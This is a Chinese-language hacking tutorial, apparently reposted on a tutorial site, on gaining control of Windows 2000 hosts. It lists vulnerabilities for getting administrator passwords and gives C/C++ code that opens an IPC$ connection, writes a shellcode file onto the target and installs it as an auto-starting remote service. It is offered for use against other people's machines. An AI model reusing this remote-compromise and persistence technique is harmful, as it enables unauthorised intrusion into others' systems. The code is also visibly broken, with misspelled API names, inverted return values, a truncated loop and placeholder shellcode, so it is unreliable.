明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

C\C++創(chuàng)建IPC連接之后續(xù)設(shè)置

[摘要]如何建立IPC連接呢?不用我說,大家都知道:   net use \\ip\\ipc password /user:user。在這里,我們應(yīng)想辦法得到Administrator的權(quán)限的帳戶和密碼,方...
如何建立IPC連接呢?不用我說,大家都知道:

  net use \\ip\\ipc$ password /user:user。在這里,我們應(yīng)想辦法得到Administrator的權(quán)限的帳戶和密碼,方法有很多:

 、帕鞴鈷呙

 、芅ULL.printer緩沖區(qū)溢出

  ⑶MS SQL空密碼

 、萓nicode漏洞

 、蛇h(yuǎn)程終端輸入法漏洞

 、蔵dq.dll漏洞

  ……太多了!具體方法我就不說了。

  得到Windows 2k administrator權(quán)限以后,可以做什么呢?想做什么就做什么唄!裝什么服務(wù)的,當(dāng)然是自己寫的服務(wù)程序啦!你看s如何呢?下面就從編程的角度的來談?wù)?讀者要有一定的網(wǎng)絡(luò)編程基礎(chǔ),同時(shí)有的地方?jīng)]給出錯(cuò)誤檢查,有部分代碼是參考別人的。一些函數(shù)和結(jié)構(gòu)請(qǐng)參考MSDN。不足之處還請(qǐng)讀者自己完善,也可以和我交流:heavyd@cngale.com。下面請(qǐng)看:

  1、如何建立IPC連接,請(qǐng)看以下代碼:

BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
{ char tmp[128]="\\\\";
 strcat(tmp,RemoteName);
 strcat(tmp,"\\ipc$");
 NETRESOUCE NetResouce;
 NetResouce.lpRemoteName=tmp;
 NetResouce.dwType=RESOURCETYPE_ANY;
 NetResouce.lpProvider=NULL;
 if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
  //建立連接!
  return FALSE;
 else
  return TRUE;
}

  是不是很簡(jiǎn)單?對(duì)!就這么簡(jiǎn)單!那么,接著來吧!
2、開始把程序?qū)懙街鳈C(jī)上吧!

BOOL SendFile(char *RemotePathAndFile)
{
 HANDLE hRF;
 unsigned char ShellCode[]="write code here,such as \x90\x90";
 int WrittenSize=0;
 int Lenth=sizeof(ShellCode);
 hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
 CREATE_ALWAYS,
 FILE_ATTRIBUTE_NORMAL,
 NUL L);//建立文件
if (hRF==INVALID_HANDLE_values) return FALSE;
//寫文件過程:
for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
return FALSE;
Printf("Send file succeed!\n");
}


  3、就要成功了,最后一步啦!--啟動(dòng)服務(wù)!

  步驟:a、啟動(dòng)服務(wù)控制管理器(SCM),獲得以SCM_HANDLE為類型的hSCM句柄;

     b、建立服務(wù)(CreateService),也是返回SCM_HANDLE型的句柄hSCS;

     c、啟動(dòng)服務(wù)(StartService)

     d、順便提提:ControService可以控制服務(wù)的狀態(tài)

     如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);

       //停止服務(wù)

       ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);

       //暫停服務(wù)

  請(qǐng)看下面代碼:

BOOL InstallService(char * Target,char * ServiceName,char * Filename,)
{
SC_HANDLE hSCM=NULL,hSCS=NULL;
SERVICE_STATUS ServiceStatus;
hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_ACCESS);
hSCS=CreateService(hSCM, //句柄
ServiceName,//服務(wù)開始名
ServiceName,//顯示服務(wù)名
SERVICE_ALL_ACCESS,//服務(wù)訪問類型
SERVICE_WIN32_OWN_PROCESS,//服務(wù)類型
SERVICE_AUTO_START,//自動(dòng)啟動(dòng)服務(wù)
SERVICE_ERROR_IGNORE,//忽略錯(cuò)誤
FileName,//啟動(dòng)的文件名
NULL,//name of load ordering group (載入組名)
NULL,//標(biāo)簽標(biāo)識(shí)符
NULL,//相關(guān)性數(shù)組名
NULL,//帳戶(當(dāng)前)
NULL);//密碼(當(dāng)前)

if(StartServic(hSCS,
argc,//參數(shù)數(shù)
argv);//參數(shù)
{
 Sleep(30);//延時(shí),開始啟動(dòng)服務(wù)
while(QueryServiceStatus(hSCS,&ServiceStatus)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
Sleep(30);
else break;
}
if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
return TRUE;
else FALSE;
}
}


  好了,終于完成了這三步,大家可以慢慢享受自己的勞動(dòng)成果了!

  注意:以上程序僅供參考,請(qǐng)?jiān)谧约豪斫庖院笞约喊阉鼈儗懗赏暾某绦,不要直接照搬?br>